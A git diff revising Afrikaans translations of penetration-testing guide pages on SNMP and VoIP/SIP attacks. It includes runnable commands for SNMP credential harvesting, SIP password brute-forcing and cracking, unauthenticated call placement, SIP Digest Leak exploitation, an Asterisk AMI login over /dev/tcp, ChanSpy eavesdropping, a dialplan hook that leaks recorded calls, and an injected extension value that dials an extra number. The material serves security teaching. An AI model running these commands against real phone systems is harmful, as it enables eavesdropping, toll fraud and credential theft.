- **Berging Eenhede**: Die monitering van berging eenhede word gefasiliteer deur `1.3.6.1.2.1.25.2.3.1.4`.
- **Sagtemak Naam**: Om die sagteware wat op 'n stelsel geïnstalleer is te identifiseer, word `1.3.6.1.2.1.25.6.3.1.2` gebruik.
- **Gebruikersrekeninge**: Die `1.3.6.1.4.1.77.1.2.25` waarde stel die opsporing van gebruikersrekeninge moontlik.
@ -158,7 +158,7 @@ Albei opdragte vereis 'n **gemeenskapsstring** en die relevante IP adres, wat vo
### Cisco
Kyk na hierdie bladsy as jy Cisco toerusting het:
Kyk na hierdie bladsy as jy Cisco-toerusting het:
{{#ref}}
cisco-snmp.md
@ -166,7 +166,7 @@ cisco-snmp.md
## Van SNMP na RCE
As jy die **string** het wat jou toelaat om **waardes** binne die SNMP diens te **skryf**, mag jy dit misbruik om **opdragte** uit te voer:
As jy die **string** het wat jou toelaat om **waardes** binne die SNMP-diens te **skryf**, mag jy dit kan misbruik om **opdragte** uit te voer:
{{#ref}}
snmp-rce.md
@ -174,9 +174,9 @@ snmp-rce.md
## **Massiewe SNMP**
[Braa ](https://github.com/mteg/braa) is 'n massiewe SNMP skandeerder. Die beoogde gebruik van so 'n hulpmiddel is, natuurlik, om SNMP versoeke te maak maar anders as snmpwalk van net-snmp, is dit in staat om dosyne of honderde gashere gelyktydig te vra, en in 'n enkele proses. Dus, dit verbruik baie min stelselhulpbronne en doen die skandering BAIE vinnig.
[Braa ](https://github.com/mteg/braa) is 'n massiewe SNMP skandeerder. Die beoogde gebruik van so 'n hulpmiddel is, natuurlik, om SNMP versoeke te maak maar anders as snmpwalk van net-snmp, is dit in staat om dosyne of honderde gashere gelyktydig te ondervra, en in 'n enkele proses. Dus, dit verbruik baie min stelselhulpbronne en doen die skandering BAIE vinnig.
Braa implementeer sy EIE snmp stapel, so dit het GEEN SNMP biblioteke soos net-snmp nodig nie.
Braa implementeer sy EIE snmp-stapel, so dit het GEEN SNMP biblioteke soos net-snmp nodig nie.
**Sintaksis:** braa \[Gemeenskaps-string]@\[IP van SNMP bediener]:\[iso id]
```bash
@ -194,13 +194,13 @@ grep ".1.3.6.1.2.1.1.1.0" *.snmp
```
### **Identifiseer Privaat String**
'n Belangrike stap behels die identifisering van die **privaat gemeenskap string** wat deur organisasies gebruik word, veral op Cisco IOS-ruters. Hierdie string stel die onttrekking van **lopende konfigurasies** van ruters in staat. Die identifisering staat dikwels op die analise van SNMP Trap-data vir die woord "trap" met 'n **grep-opdrag**:
'n Belangrike stap behels die identifisering van die **privaat gemeenskap string** wat deur organisasies gebruik word, veral op Cisco IOS routers. Hierdie string stel die onttrekking van **lopende konfigurasies** van routers in staat. Die identifisering staat dikwels op die analise van SNMP Trap data vir die woord "trap" met 'n **grep opdrag**:
```bash
grep -i "trap" *.snmp
```
### **Gebruikersname/Wagwoorde**
Logs wat in MIB-tabelle gestoor is, word ondersoek vir **mislukte aanmeldpogings**, wat per ongeluk wagwoorde wat as gebruikersname ingevoer is, kan insluit. Sleutelwoorde soos _fail_, _failed_, of _login_ word gesoek om waardevolle data te vind:
Logs wat in MIB-tabelle gestoor word, word ondersoek vir **mislukte aanmeldpogings**, wat per ongeluk wagwoorde wat as gebruikersname ingevoer is, kan insluit. Sleutelwoorde soos _fail_, _failed_, of _login_ word gesoek om waardevolle data te vind:
```bash
grep -i "login\|fail" *.snmp
```
@ -210,15 +210,15 @@ Laastens, om **e-posadresse** uit die data te onttrek, word 'n **grep-opdrag** m
```bash
grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp
```
## Wysigting SNMP waardes
## SNMP waardes wysig
Jy kan _**NetScanTools**_ gebruik om **waardes** te **wysig**. Jy sal die **privaat string** moet ken om dit te kan doen.
## Spoofing
As daar 'n ACL is wat slegs sekere IP's toelaat om die SNMP diens te vra, kan jy een van hierdie adresse in die UDP-pakket spoof en die verkeer snuffel.
As daar 'n ACL is wat slegs sekere IP's toelaat om die SMNP diens te vra, kan jy een van hierdie adresse in die UDP-pakket spoof en die verkeer snuffel.
## Ondersoek SNMP Konfigurasie lêers
## SNMP Konfigurasie lêers ondersoek
- snmp.conf
- snmpd.conf

View File

@ -30,7 +30,7 @@ MESSAGE Deliver a text message. Used in instant messaging applications. RFC 34
INFO Send mid-session information that does not modify the session state. RFC 6086
OPTIONS Query the capabilities of an endpoint RFC 3261
```
## Responskode
## Response Codes
**1xx—Voorlopige Antwoorde**
```
@ -118,7 +118,7 @@ OPTIONS Query the capabilities of an endpoint RFC 3261
555 Push Notification Service Not Supported
580 Precondition Failure
```
**6xx—Globale Faal Antwoorde**
**6xx—Globale Faalresponses**
```
600 Busy Everywhere
603 Decline
@ -178,11 +178,11 @@ inurl:"maint/index.php?FreePBX" intitle: "FreePBX" intext:"FreePBX Admministrati
```
### OSINT-inligting
Enige ander OSINT-opsporing wat help om VoIP-sagteware te identifiseer wat gebruik word, sal nuttig wees vir 'n Red Team.
Enige ander OSINT-enumerasie wat help om VoIP-sagteware te identifiseer wat gebruik word, sal nuttig wees vir 'n Red Team.
### Netwerkopsporing
### Netwerk-enumerasie
- **`nmap`** is in staat om UDP-dienste te skandeer, maar as gevolg van die aantal UDP-dienste wat geskandeer word, is dit baie stadig en mag nie baie akkuraat wees met hierdie soort dienste nie.
- **`nmap`** is in staat om UDP-dienste te skandeer, maar weens die aantal UDP-dienste wat geskandeer word, is dit baie stadig en mag nie baie akkuraat wees met hierdie soort dienste nie.
```bash
sudo nmap --script=sip-methods -sU -p 5060 10.10.0.0/24
```
@ -192,7 +192,7 @@ sudo nmap --script=sip-methods -sU -p 5060 10.10.0.0/24
# Use --fp to fingerprint the services
svmap 10.10.0.0/24 -p 5060-5070 [--fp]
```
- **`SIPPTS scan`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS scan is 'n baie vinnige skandeerder vir SIP-dienste oor UDP, TCP of TLS. Dit gebruik multithreading en kan groot reekse van netwerke skandeer. Dit maak dit maklik om 'n poortreeks aan te dui, beide TCP en UDP te skandeer, 'n ander metode te gebruik (standaard sal dit OPTIONS gebruik) en 'n ander User-Agent te spesifiseer (en meer).
- **`SIPPTS scan`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS scan is 'n baie vinnige skandeerder vir SIP-dienste oor UDP, TCP of TLS. Dit gebruik multithreading en kan groot reekse netwerke skandeer. Dit maak dit maklik om 'n poortreeks aan te dui, beide TCP en UDP te skandeer, 'n ander metode te gebruik (standaard sal dit OPTIONS gebruik) en 'n ander User-Agent te spesifiseer (en meer).
```bash
sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]
@ -259,14 +259,14 @@ auxiliary/scanner/sip/enumerator normal No SIP Username Enumerator (UD
enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10 # Use dictionary
enumiax -v -m3 -M3 10.10.0.10
```
## VoIP-aanvalle
## VoIP Aanvalle
### Wagwoord Brute-Force - aanlyn
Nadat die **PBX** en 'n paar **uitbreidings/gebruikername** ontdek is, kan 'n Rooi Span probeer om te **authentiseer via die `REGISTER` metode** na 'n uitbreiding deur 'n woordelys van algemene wagwoorde te gebruik om die authentisering te brute-force.
> [!CAUTION]
> Let daarop dat 'n **gebruikernaam** dieselfde kan wees as die uitbreiding, maar hierdie praktyk kan verskil, afhangende van die PBX-stelsel, sy konfigurasie, en die organisasie se voorkeure...
> Let daarop dat 'n **gebruikernaam** dieselfde kan wees as die uitbreiding, maar hierdie praktyk kan verskil afhangende van die PBX-stelsel, sy konfigurasie, en die organisasie se voorkeure...
>
> As die gebruikernaam nie dieselfde is as die uitbreiding nie, sal jy moet **uitvind wat die gebruikernaam is om dit te brute-force**.
@ -275,7 +275,7 @@ Nadat die **PBX** en 'n paar **uitbreidings/gebruikername** ontdek is, kan 'n Ro
svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 #Crack known username
svcrack -u100 -r1-9999 -z4 10.0.0.1 #Check username in extensions
```
- **`SIPPTS rcrack`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rcrack is 'n afstand wagwoord kraker vir SIP dienste. Rcrack kan wagwoorde toets vir verskeie gebruikers in verskillende IP's en poortreekse.
- **`SIPPTS rcrack`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rcrack is 'n afstands wagwoord kraker vir SIP dienste. Rcrack kan wagwoorde toets vir verskeie gebruikers in verskillende IP's en poortreekse.
```bash
sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt
```
@ -285,14 +285,14 @@ sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt
### VoIP Sniffing
As jy VoIP-toerusting binne 'n **Open Wifi-netwerk** vind, kan jy **alle inligting snuffel**. Boonop, as jy binne 'n meer geslote netwerk is (verbonden via Ethernet of beskermde Wifi), kan jy **MitM-aanvalle soos** [**ARPspoofing**](../../generic-methodologies-and-resources/pentesting-network/index.html#arp-spoofing) tussen die **PBX en die gateway** uitvoer om die inligting te snuffel.
As jy VoIP-toerusting binne 'n **Open Wifi-netwerk** vind, kan jy **alle inligting** snuffel. Boonop, as jy binne 'n meer geslote netwerk is (verbonden via Ethernet of beskermde Wifi), kan jy **MitM-aanvalle soos** [**ARPspoofing**](../../generic-methodologies-and-resources/pentesting-network/index.html#arp-spoofing) tussen die **PBX en die gateway** uitvoer om die inligting te snuffel.
Onder die netwerk-inligting kan jy **web geloofsbriewe** vind om die toerusting te bestuur, gebruiker **uitbreidings**, **gebruikersnaam**, **IP** adresse, selfs **gehashede wagwoorde** en **RTP-pakkette** wat jy kan herproduseer om **die gesprek te hoor**, en meer.
Onder die netwerk inligting kan jy **web geloofsbriewe** vind om die toerusting te bestuur, gebruiker **uitbreidings**, **gebruikersnaam**, **IP** adresse, selfs **gehashede wagwoorde** en **RTP-pakkette** wat jy kan herproduseer om **die gesprek te hoor**, en meer.
Om hierdie inligting te verkry, kan jy gereedskap soos Wireshark, tcpdump... gebruik, maar 'n **spesiaal geskepte gereedskap om VoIP-gesprekke te snuffel is** [**ucsniff**](https://github.com/Seabreg/ucsniff).
> [!CAUTION]
> Let daarop dat as **TLS in die SIP-kommunikasie gebruik word**, jy nie die SIP-kommunikasie in duidelik sal kan sien.\
> Let daarop dat as **TLS in die SIP kommunikasie gebruik word**, jy nie die SIP kommunikasie in duidelik sal kan sien.\
> Dieselfde sal gebeur as **SRTP** en **ZRTP** gebruik word, **RTP-pakkette sal nie in duidelike teks wees**.
#### SIP geloofsbriewe (Wagwoord Brute-Force - aflyn)
@ -308,7 +308,7 @@ sipcrack sip-creds.txt -w dict.txt
```bash
sippts dump -f capture.pcap -o data.txt
```
- **`SIPPTS dcrack`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS dcrack is 'n hulpmiddel om die digest-outeentifikasies wat met SIPPTS dump verkry is, te kraak.
- **`SIPPTS dcrack`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS dcrack is 'n hulpmiddel om die digest-outentifikasies wat met SIPPTS dump verkry is, te kraak.
```bash
sippts dcrack -f data.txt -w wordlist/rockyou.txt
```
@ -330,9 +330,9 @@ In Asterisk is dit moontlik om 'n verbinding **van 'n spesifieke IP-adres** of v
host=10.10.10.10
host=dynamic
```
As 'n IP-adres gespesifiseer is, sal die gasheer **nie REGISTER** versoeke elke paar minute hoef te stuur nie (in die REGISTER-pakket word die tyd om te lewe gestuur, gewoonlik 30min, wat beteken dat die telefoon in 'n ander scenario elke 30min moet REGISTER). Dit sal egter oop poorte moet hê wat verbindings van die VoIP-bediener toelaat om oproepe te ontvang.
As 'n IP-adres gespesifiseer is, sal die gasheer **nie REGISTER** versoeke elke nou en dan hoef te stuur nie (in die REGISTER-pakket word die tyd om te lewe gestuur, gewoonlik 30min, wat beteken dat die telefoon in 'n ander scenario elke 30min moet REGISTER). Dit sal egter oop poorte moet hê wat verbindings van die VoIP-bediener toelaat om oproepe te ontvang.
Om gebruikers te definieer kan hulle as volg gedefinieer word:
Om gebruikers te definieer kan hulle gedefinieer word as:
- **`type=user`**: Die gebruiker kan slegs oproepe as gebruiker ontvang.
- **`type=friend`**: Dit is moontlik om oproepe as peer te maak en dit as gebruiker te ontvang (gebruik met uitbreidings)
@ -340,12 +340,12 @@ Om gebruikers te definieer kan hulle as volg gedefinieer word:
Dit is ook moontlik om vertroue te vestig met die onveilige veranderlike:
- **`insecure=port`**: Laat peer verbindings wat deur IP geverifieer is.
- **`insecure=port`**: Laat peer verbindings toe wat deur IP geverifieer word.
- **`insecure=invite`**: Vereis nie verifikasie vir INVITE-boodskappe nie
- **`insecure=port,invite`**: Albei
> [!WARNING]
> Wanneer **`type=friend`** gebruik word, sal die **waarde** van die **host** veranderlike **nie gebruik word** nie, so as 'n admin **'n SIP-trunk verkeerd konfigureer** met daardie waarde, **sal enigiemand in staat wees om daartoe te verbind**.
> Wanneer **`type=friend`** gebruik word, sal die **waarde** van die **host** veranderlike **nie gebruik word** nie, so as 'n admin **'n SIP-trunk verkeerd konfigureer** met daardie waarde, **sal enige iemand in staat wees om daartoe te verbind**.
>
> Byvoorbeeld, hierdie konfigurasie sal kwesbaar wees:\
> `host=10.10.10.10`\
@ -354,7 +354,7 @@ Dit is ook moontlik om vertroue te vestig met die onveilige veranderlike:
### Gratis Oproepe / Asterisks Konteks Misconfigurasies
In Asterisk is 'n **konteks** 'n benoemde houer of afdeling in die kiesplan wat **verwante uitbreidings, aksies en reëls groepeer**. Die kiesplan is die kernkomponent van 'n Asterisk-stelsel, aangesien dit definieer **hoe inkomende en uitgaande oproepe hanteer en gerouteer word**. Konteks word gebruik om die kiesplan te organiseer, toegangbeheer te bestuur, en om skeiding tussen verskillende dele van die stelsel te bied.
In Asterisk is 'n **konteks** 'n benoemde houer of afdeling in die kiesplan wat **verwante uitbreidings, aksies en reëls groepeer**. Die kiesplan is die kernkomponent van 'n Asterisk-stelsel, aangesien dit definieer **hoe inkomende en uitgaande oproepe hanteer en gerouteer word**. Konteks word gebruik om die kiesplan te organiseer, toegangbeheer te bestuur, en skeiding tussen verskillende dele van die stelsel te bied.
Elke konteks word in die konfigurasie-lêer gedefinieer, tipies in die **`extensions.conf`** lêer. Konteks word aangedui deur vierkante hakies, met die konteksnaam binne-in. Byvoorbeeld:
```bash
@ -367,7 +367,7 @@ exten => 100,1,Answer()
exten => 100,n,Playback(welcome)
exten => 100,n,Hangup()
```
Hierdie voorbeeld demonstreer 'n eenvoudige konteks genoem "my_context" met 'n uitbreiding "100". Wanneer iemand 100 kies, sal die oproep beantwoord word, 'n welkomstekst sal gespeel word, en dan sal die oproep beëindig word.
Hierdie voorbeeld demonstreer 'n eenvoudige konteks genoem "my_context" met 'n uitbreiding "100". Wanneer iemand 100 bel, sal die oproep beantwoord word, 'n welkomstekst sal gespeel word, en dan sal die oproep beëindig word.
Dit is **nog 'n konteks** wat toelaat om **na enige ander nommer te bel**:
```scss
@ -388,7 +388,7 @@ include => external
- **`SIPPTS invite`** van [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS invite kontroleer of 'n **PBX-bediener ons toelaat om oproepe te maak sonder outentisering**. As die SIP-bediener 'n verkeerde konfigurasie het, sal dit ons toelaat om oproepe na eksterne nommers te maak. Dit kan ook toelaat dat ons die oproep na 'n tweede eksterne nommer oorplaas.
Byvoorbeeld, as jou Asterisk-bediener 'n slegte kontekskonfigurasie het, kan jy INVITE-versoeke sonder outorisering aanvaar. In hierdie geval kan 'n aanvaller oproepe maak sonder om enige gebruiker/wagwoord te ken.
Byvoorbeeld, as jou Asterisk-bediener 'n slegte kontekskonfigurasie het, kan jy 'n INVITE-versoek sonder outorisering aanvaar. In hierdie geval kan 'n aanvaller oproepe maak sonder om enige gebruiker/wagwoord te ken.
```bash
# Trying to make a call to the number 555555555 (without auth) with source number 200.
sippts invite -i 10.10.0.10 -fu 200 -tu 555555555 -v
@ -398,17 +398,17 @@ sippts invite -i 10.10.0.10 -tu 555555555 -t 444444444
```
### Gratis oproepe / Foutief geconfigureerde IVRS
IVRS staan vir **Interaktiewe Stem Respons Stelsel**, 'n telekommunikasietegnologie wat gebruikers in staat stel om met 'n gekompliseerde stelsel te kommunikeer deur middel van stem of toetstoon insette. IVRS word gebruik om **geoutomatiseerde oproep hantering** stelsels te bou wat 'n reeks funksies bied, soos om inligting te verskaf, oproepe te roete, en gebruikersinsette vas te vang.
IVRS staan vir **Interaktiewe Stem Respons Stelsel**, 'n telekommunikasietegnologie wat gebruikers in staat stel om met 'n gekompliseerde stelsel te kommunikeer deur middel van stem of toetsingang. IVRS word gebruik om **geoutomatiseerde oproephantering** stelsels te bou wat 'n reeks funksies bied, soos om inligting te verskaf, oproepe te roete, en gebruikersinvoer te vang.
IVRS in VoIP stelsels bestaan tipies uit:
IVRS in VoIP-stelsels bestaan tipies uit:
1. **Stem aanwysings**: Vooraf opgeneemde klankboodskappe wat gebruikers deur die IVR-menu opsies en instruksies lei.
2. **DTMF** (Dubbel-Toon Multi-Frekwensie) sein: Toetstoon insette wat gegenereer word deur sleutels op die telefoon te druk, wat gebruik word om deur die IVR-menu's te navigeer en insette te verskaf.
3. **Oproep roetering**: Die rigting van oproepe na die toepaslike bestemming, soos spesifieke departemente, agente, of uitbreidings gebaseer op gebruikersinsette.
4. **Gebruikersinset vasvang**: Die insameling van inligting van bellers, soos rekeningnommers, saak-ID's, of enige ander relevante data.
5. **Integrasie met eksterne stelsels**: Die verbinding van die IVR-stelsel met databasisse of ander sagteware stelsels om toegang tot of inligting op te dateer, aksies uit te voer, of gebeurtenisse te aktiveer.
2. **DTMF** (Dubbele Toon Multi-Frekwensie) sein: Toetsingang wat gegenereer word deur sleutels op die telefoon te druk, wat gebruik word om deur die IVR-menu's te navigeer en invoer te verskaf.
3. **Oproep roetering**: Die rigting van oproepe na die toepaslike bestemming, soos spesifieke departemente, agente, of uitbreidings gebaseer op gebruikersinvoer.
4. **Vang van gebruikersinvoer**: Die insameling van inligting van bellers, soos rekeningnommers, saak-ID's, of enige ander relevante data.
5. **Integrasie met eksterne stelsels**: Die verbinding van die IVR-stelsel met databasisse of ander sagteware stelsels om toegang tot of opdatering van inligting te verkry, aksies uit te voer, of gebeurtenisse te aktiveer.
In 'n Asterisk VoIP-stelsel kan jy 'n IVR skep met die kiesplan (**`extensions.conf`** lêer) en verskeie toepassings soos `Background()`, `Playback()`, `Read()`, en meer. Hierdie toepassings help jou om stem aanwysings te speel, gebruikersinsette vas te vang, en die oproepvloei te beheer.
In 'n Asterisk VoIP-stelsel kan jy 'n IVR skep met die kiesplan (**`extensions.conf`** lêer) en verskeie toepassings soos `Background()`, `Playback()`, `Read()`, en meer. Hierdie toepassings help jou om stem aanwysings te speel, gebruikersinvoer te vang, en die oproepvloei te beheer.
#### Voorbeeld van kwesbare konfigurasie
```scss
@ -431,7 +431,7 @@ Waar **`${EXTEN}`** die **verlenging** is wat gebel sal word, wanneer die **ext
```scss
exten => 101,1,Dial(SIP/101)
```
However, if **`${EXTEN}`** allows to introduce **more than numbers** (like in older Asterisk versions), an attacker could introduce **`101&SIP123123123`** to call the phone number 123123123. And this would be the result:
egter, as **`${EXTEN}`** toelaat om **meer as net nommers** in te voer (soos in ouer Asterisk weergawes), kan 'n aanvaller **`101&SIP123123123`** invoer om die telefoonnommer 123123123 te bel. En dit sou die resultaat wees:
```scss
exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123)
```
@ -439,7 +439,7 @@ Daarom sal 'n oproep na die uitbreiding **`101`** en **`123123123`** gestuur wor
## SIPDigestLeak kwesbaarheid
Die SIP Digest Leak is 'n kwesbaarheid wat 'n groot aantal SIP Telefone beïnvloed, insluitend beide hardeware en sagteware IP Telefone sowel as telefoonadapters (VoIP na analoog). Die kwesbaarheid laat **lek van die Digest-authentikasie antwoord** toe, wat bereken word vanaf die wagwoord. 'n **Offline wagwoordaanval is dan moontlik** en kan die meeste wagwoorde op grond van die uitdaging antwoord herstel.
Die SIP Digest Leak is 'n kwesbaarheid wat 'n groot aantal SIP Telefone beïnvloed, insluitend beide hardeware en sagteware IP Telefone sowel as telefoonadapters (VoIP na analoog). Die kwesbaarheid laat **lek van die Digest-outehentikasie antwoord** toe, wat bereken word vanaf die wagwoord. 'n **Aflyn wagwoordaanval is dan moontlik** en kan die meeste wagwoorde op grond van die uitdaging antwoord herstel.
**[Kwesbaarheid scenario van hier**](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf):
@ -447,9 +447,9 @@ Die SIP Digest Leak is 'n kwesbaarheid wat 'n groot aantal SIP Telefone beïnvlo
2. Die aanvaller stuur 'n INVITE na die IP Telefoon
3. Die slagoffer telefoon begin lui en iemand neem op en hang op (omdat niemand die telefoon aan die ander kant antwoord nie)
4. Wanneer die telefoon opgehang word, **stuur die slagoffer telefoon 'n BYE na die aanvaller**
5. Die **aanvaller gee 'n 407 antwoord** wat **om authentikasie vra** en 'n authentikasie uitdaging uitreik
6. Die **slagoffer telefoon bied 'n antwoord op die authentikasie uitdaging** in 'n tweede BYE
7. Die **aanvaller kan dan 'n brute-force aanval** op die uitdaging antwoord op sy plaaslike masjien (of verspreide netwerk ens.) uitvoer en die wagwoord raai
5. Die **aanvaller gee 'n 407 antwoord** wat **om outeurskap vra** en 'n outeurskap uitdaging uitreik
6. Die **slagoffer telefoon bied 'n antwoord op die outeurskap uitdaging** in 'n tweede BYE
7. Die **aanvaller kan dan 'n brute-force aanval uitvoer** op die uitdaging antwoord op sy plaaslike masjien (of verspreide netwerk ens.) en die wagwoord raai
- **SIPPTS lek** van [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS lek benut die SIP Digest Leak kwesbaarheid wat 'n groot aantal SIP Telefone beïnvloed. Die uitvoer kan in SipCrack-formaat gestoor word om dit te bruteforce met SIPPTS dcrack of die SipCrack hulpmiddel.
```bash
@ -474,7 +474,7 @@ Auth=Digest username="pepelux", realm="asterisk", nonce="lcwnqoz0", uri="sip:100
```
### Click2Call
Click2Call laat 'n **webgebruiker** (wat byvoorbeeld dalk in 'n produk belangstel) toe om sy **telefoonnommer** in te voer om gebel te word. Dan sal 'n kommersiële oproep gemaak word, en wanneer hy **die telefoon opneem**, sal die gebruiker **gebel en met die agent verbind word**.
Click2Call laat 'n **webgebruiker** (wat byvoorbeeld dalk in 'n produk belangstel) toe om sy **telefoonnommer** in te voer om gebel te word. Dan sal 'n kommersiële oproep gemaak word, en wanneer hy **die telefoon opneem**, sal die gebruiker **gebel en met die agent verbind** word.
'n Algemene Asterisk-profiel hiervoor is:
```scss
@ -487,7 +487,7 @@ read = system,call,log,verbose,agent,user,config,dtmf,reporting,crd,diapla
write = system,call,agent,user,config,command,reporting,originate
```
- Die vorige profiel laat **ENIGE IP-adres toe om te verbind** (as die wagwoord bekend is).
- Om 'n **oproep te organiseer**, soos voorheen gespesifiseer, is **geen leesregte nodig nie** en **slegs** **oorsprong** in **skryf** is nodig.
- Om **'n oproep te organiseer**, soos voorheen gespesifiseer, is **geen leesregte nodig nie** en **slegs** **originate** in **skryf** is nodig.
Met daardie regte kan enige IP wat die wagwoord ken, verbind en te veel inligting onttrek, soos:
```bash
@ -498,13 +498,13 @@ exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecr
### **Afluister**
In Asterisk is dit moontlik om die opdrag **`ChanSpy`** te gebruik wat die **verlenging(e) om te monitor** (of al hulle) aandui om gesprekke te hoor wat plaasvind. Hierdie opdrag moet aan 'n verlenging toegeken word.
In Asterisk is dit moontlik om die opdrag **`ChanSpy`** te gebruik wat die **verlenging(e) om te monitor** (of al die verlengings) aandui om gesprekke te hoor wat plaasvind. Hierdie opdrag moet aan 'n verlenging toegeken word.
Byvoorbeeld, **`exten => 333,1,ChanSpy('all',qb)`** dui aan dat as jy die **verlenging 333** **bel**, dit **alle** verlengings sal **monitor**, **begin luister** wanneer 'n nuwe gesprek begin (**`b`**) in stilmodus (**`q`**) aangesien ons nie wil interaksie hê nie. Jy kan van een gesprek na 'n ander gaan deur **`*`** te druk, of die verlenging nommer te merk.
Byvoorbeeld, **`exten => 333,1,ChanSpy('all',qb)`** dui aan dat as jy die **verlenging 333** **bel**, dit **alle** verlengings sal **monitor**, **begin luister** wanneer 'n nuwe gesprek begin (**`b`**) in stilmodus (**`q`**) aangesien ons nie wil interaksie hê nie. Jy kan van een gesprek na 'n ander beweeg deur **`*`** te druk, of deur die verlenging nommer te merk.
Dit is ook moontlik om **`ExtenSpy`** te gebruik om slegs een verlenging te monitor.
In plaas daarvan om die gesprekke te luister, is dit moontlik om hulle **in lêers op te neem** deur 'n verlenging soos:
In plaas daarvan om die gesprekke te luister, is dit moontlik om **hulle in lêers op te neem** met 'n verlenging soos:
```scss
[recorded-context]
exten => _X.,1,Set(NAME=/tmp/${CONTEXT}_${EXTEN}_${CALLERID(num)}_${UNIQUEID}.wav)
@ -512,17 +512,17 @@ exten => _X.,2,MixMonitor(${NAME})
```
Calls sal in **`/tmp`** gestoor word.
Jy kan selfs Asterisk **'n skrip laat uitvoer wat die oproep sal lek** wanneer dit gesluit word.
Jy kan ook Asterisk **'n skrip laat uitvoer wat die oproep sal lek** wanneer dit gesluit word.
```scss
exten => h,1,System(/tmp/leak_conv.sh &)
```
### RTCPBleed kwesbaarheid
**RTCPBleed** is 'n groot sekuriteitskwesbaarheid wat Asterisk-gebaseerde VoIP-bedieners raak (gepubliseer in 2017). Die kwesbaarheid laat **RTP (Real Time Protocol) verkeer**, wat VoIP-gesprekke dra, toe om **deur enige iemand op die Internet geïntercepteer en hergerig te word**. Dit gebeur omdat RTP-verkeer outentisering omseil wanneer dit deur NAT (Network Address Translation) vuurmure navigeer.
**RTCPBleed** is 'n groot sekuriteitskwessie wat Asterisk-gebaseerde VoIP-bedieners raak (gepubliseer in 2017). Die kwesbaarheid laat **RTP (Real Time Protocol) verkeer**, wat VoIP-gesprekke dra, toe om **deur enige iemand op die Internet geïntercepteer en hergerig te word**. Dit gebeur omdat RTP-verkeer outentisering omseil wanneer dit deur NAT (Network Address Translation) vuurmure navigeer.
RTP-proxies probeer om **NAT-beperkings** wat RTC-stelsels beïnvloed, aan te spreek deur RTP-strome tussen twee of meer partye te proxy. Wanneer NAT in plek is, kan die RTP-proxy sagteware dikwels nie staatmaak op die RTP IP- en poortinligting wat deur signalering (bv. SIP) verkry is nie. Daarom het 'n aantal RTP-proxies 'n mekanisme geïmplementeer waar sulke **IP- en poorttuples outomaties geleer word**. Dit word dikwels gedoen deur inkomende RTP-verkeer te inspekteer en die bron-IP en poort vir enige inkomende RTP-verkeer te merk as die een wat op geantwoord moet word. Hierdie mekanisme, wat dalk "leer-modus" genoem word, **maak nie gebruik van enige vorm van outentisering nie**. Daarom kan **aanvallers** **RTP-verkeer na die RTP-proxy stuur** en die geproksiede RTP-verkeer ontvang wat bedoel is vir die bel of die ontvanger van 'n lopende RTP-stroom. Ons noem hierdie kwesbaarheid RTP Bleed omdat dit aanvallers toelaat om RTP-media strome te ontvang wat bedoel is om aan wettige gebruikers gestuur te word.
RTP-proxies probeer om **NAT-beperkings** wat RTC-stelsels beïnvloed, aan te spreek deur RTP-strome tussen twee of meer partye te proxy. Wanneer NAT in plek is, kan die RTP-proxy sagteware dikwels nie staatmaak op die RTP IP- en poortinligting wat deur signalering (bv. SIP) verkry is nie. Daarom het 'n aantal RTP-proxies 'n mekanisme geïmplementeer waar sulke **IP- en poort-tuplet outomaties geleer word**. Dit word dikwels gedoen deur inkomende RTP-verkeer te inspekteer en die bron-IP en poort vir enige inkomende RTP-verkeer te merk as die een wat op geantwoord moet word. Hierdie mekanisme, wat dalk "leer-modus" genoem word, **maak nie gebruik van enige vorm van outentisering nie**. Daarom kan **aanvallers** **RTP-verkeer na die RTP-proxy stuur** en die geproxiede RTP-verkeer ontvang wat bedoel is vir die bel of die ontvanger van 'n lopende RTP-stroom. Ons noem hierdie kwesbaarheid RTP Bleed omdat dit aanvallers toelaat om RTP-media strome te ontvang wat bedoel is om aan wettige gebruikers gestuur te word.
'n Ander interessante gedrag van RTP-proxies en RTP-stakke is dat soms, **selfs al is dit nie kwesbaar vir RTP Bleed nie**, hulle **RTP-pakkette van enige bron sal aanvaar, deurstuur en/of verwerk**. Daarom kan aanvallers RTP-pakkette stuur wat hulle mag toelaat om hul media in plaas van die wettige een in te voeg. Ons noem hierdie aanval RTP-inspuiting omdat dit die inspuiting van onwettige RTP-pakkette in bestaande RTP-strome toelaat. Hierdie kwesbaarheid kan in beide RTP-proxies en eindpunte gevind word.
'n Ander interessante gedrag van RTP-proxies en RTP-stakke is dat soms, **selfs al is dit nie kwesbaar vir RTP Bleed nie**, hulle **RTP-pakkette van enige bron sal aanvaar, deurstuur en/of verwerk**. Daarom kan aanvallers RTP-pakkette stuur wat hulle in staat kan stel om hul media in plaas van die wettige een in te voeg. Ons noem hierdie aanval RTP-inspuiting omdat dit die inspuiting van onwettige RTP-pakkette in bestaande RTP-strome toelaat. Hierdie kwesbaarheid kan in beide RTP-proxies en eindpunte gevind word.
Asterisk en FreePBX het tradisioneel die **`NAT=yes` instelling** gebruik, wat RTP-verkeer toelaat om outentisering te omseil, wat moontlik lei tot geen klank of eenrigting-klank op oproepe nie.
@ -532,7 +532,7 @@ Vir meer inligting, kyk na [https://www.rtpbleed.com/](https://www.rtpbleed.com/
```bash
sippts rtpbleed -i 10.10.0.10
```
- **`SIPPTS rtcpbleed`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtcpbleed detecteer die RTP Bleed kwesbaarheid deur RTCP strome te stuur.
